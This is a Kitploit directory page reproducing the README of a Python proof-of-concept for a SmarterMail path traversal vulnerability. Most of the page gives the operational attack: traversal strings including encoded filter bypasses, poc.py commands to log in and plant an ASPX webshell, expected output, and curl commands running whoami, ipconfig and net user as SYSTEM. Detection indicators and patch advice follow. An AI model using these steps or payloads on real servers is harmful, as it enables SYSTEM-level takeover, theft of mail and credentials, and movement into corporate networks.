Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-126967 — Python PoC for CVE-2026-126967: fingerprints SmarterMail builds, exploits File Storage API path traversal to plant an ASPX webshell, and achieves SYSTEM-level RCE. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-126967
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRemote Access Trojan
GitHubllcforge/cve-2026-126967

CVE-2026-126967

Python PoC for CVE-2026-126967: fingerprints SmarterMail builds, exploits File Storage API path traversal to plant an ASPX webshell, and achieves SYSTEM-level RCE.

1 day agoNot yet reviewed
View Repository
Share

CVE-2026-126967

SmarterMail — File Storage API Path Traversal to SYSTEM RCE

CVSS CWE Language Fixed ZDI Disclosed


Overview

The SmarterMail FileStorageController accepts a caller-supplied file name and constructs the destination path by joining it with the per-account storage root without normalizing or bounding the result. An authenticated low-privilege user can embed ..\..\ sequences to write arbitrary files outside the mail-data directory. Because IIS runs as NT AUTHORITY\SYSTEM, writing an ASPX webshell to the site root yields unauthenticated command execution at the highest possible Windows privilege level.

FieldValue
CVECVE-2026-126967
CVSS 3.18.8 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-22 (Path Traversal)
AffectedSmarterMail all builds < 9735
FixedBuild 9735
ZDIZDI-26-994
Auth RequiredLow — any valid SmarterMail account
Disclosed2026-11-18

Vulnerability Details

The FileStorageController.Upload action accepts a fileName parameter. The controller prepends the user's mail-data root but performs no path canonicalization:

destination = Path.Combine(userStorageRoot, fileName)
// fileName = "..\..\..\..\inetpub\wwwroot\shell.aspx"
// destination = "C:\SmarterMail\Domains\..\..\inetpub\wwwroot\shell.aspx"

Path.Combine on Windows does not resolve .. sequences — the resulting path resolves to the IIS web root. The API accepts any file extension including .aspx, turning the upload into a webshell plant. IIS then serves and executes the ASPX page as SYSTEM.


Attack Flow

flowchart LR
    A([Attacker\nAuthenticated user]) -->|POST /api/v1/filestorage/upload\nfileName: ..\..\..\..\inetpub\wwwroot\shell.aspx| B[SmarterMail\nIIS / SYSTEM]
    B -->|Writes file to IIS root| C[ASPX Webshell\nc:\inetpub\wwwroot\cve126967.aspx]
    C -->|GET /cve126967.aspx?c=whoami| D([Unauthenticated\nSYSTEM RCE])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style D fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Warning: Authorized testing and isolated lab environments only. The webshell is accessible without credentials after planting — ensure the target is isolated.

Setup

pip install -r requirements.txt
# requirements.txt: requests>=2.31.0

Step 1 — Fingerprint (no credentials required)

Check target version without logging in:

python3 poc.py -u http://mail.example.com --check

Expected output:

[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)

Step 2 — Plant the webshell (default: JSON upload mode)

python3 poc.py -u http://mail.example.com \
               -U [email protected] \
               -P password123 \
               --write

Expected output:

[*] target: http://mail.example.com
[*] HTTP 200, build=9720 (< 9735 likely vulnerable)
[*] logging in as [email protected]
[+] token: eyJhbGciOiJIUzI1NiJ9...
[*] traversal='..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 200
[*] checking for webshell...
[!] VULNERABLE — running as: NT AUTHORITY\SYSTEM
    shell: http://mail.example.com/cve126967.aspx?c=<cmd>

Step 3 — Execute commands via webshell

# After successful plant, the webshell accepts ?c= parameter:
curl "http://mail.example.com/cve126967.aspx?c=whoami"
# Output: CVE-2026-126967:NT AUTHORITY\SYSTEM

curl "http://mail.example.com/cve126967.aspx?c=ipconfig"
curl "http://mail.example.com/cve126967.aspx?c=net+user"

Upload modes

The PoC tries three upload modes to cover different SmarterMail versions:

# JSON body (default — works on most builds)
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode json

# multipart/form-data upload
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode form

# Raw PUT with X-File-Name header
python3 poc.py -u http://mail.example.com -U [email protected] -P pass --write --mode raw

Available flags

FlagDescription
-u URLSmarterMail base URL (required)
-U EMAILAccount email address
-P PASSWORDAccount password
--checkFingerprint only — no login, no write
--writeAttempt webshell plant
--mode json|form|rawUpload content type (default: json)
--proxy URLHTTP proxy (e.g. http://127.0.0.1:8080 for Burp)

Traversal candidates

The PoC tries multiple path traversal strings to handle different install locations:

Traversal pathResolves to
..\..\..\InetPub\SmarterMail\Typical SmarterMail IIS root
..\..\..\...\inetpub\wwwroot\Default IIS root
..%5C..%5C..%5CInetPub%5CSmarterMail%5CURL-encoded — filter bypass
../../../InetPub/SmarterMail/Forward slash variant

Expected output — patched build

[*] target: http://mail.example.com
[*] HTTP 200, build=9735 (patched)
[*] attempting traversal '..\..\..\InetPub\SmarterMail\' mode=json -> HTTP 400
[-] upload did not return 2xx on any traversal
[+] NOT vulnerable

Detection

IndicatorNotes
File Storage API calls with .. in pathIIS log: POST /api/v1/filestorage/upload with encoded traversal in body
Unexpected .aspx files in IIS rootScheduled task or FIM alert on C:\inetpub\wwwroot\*.aspx
w3wp.exe spawning cmd.exe / powershell.exeEDR process creation alert
New files in C:\SmarterMail\ outside Domains\File integrity monitoring

Impact

SYSTEM-level RCE on the mail server via an unauthenticated webshell accessible to anyone who can reach port 80/443. A compromised mail server typically holds email credentials, PII, internal communications, and can be used as a pivot point into the broader corporate network.


Remediation

Upgrade to SmarterMail build 9735 or later. The fix adds Path.GetFullPath canonicalization and validates the result stays within the user's storage root before writing.

ActionDetail
Upgrade SmarterMailBuild 9735 or later from smartertools.com
Scan for planted shellsSearch IIS root for .aspx files modified recently
Restrict File Storage APIBlock /api/v1/filestorage from untrusted IP ranges
Monitor IIS rootFIM alert on new .aspx / .ashx files

References

  • ZDI-26-994: https://www.zerodayinitiative.com/advisories/ZDI-26-994/
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-126967
  • SmarterTools: https://www.smartertools.com/smartermail/release-notes

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →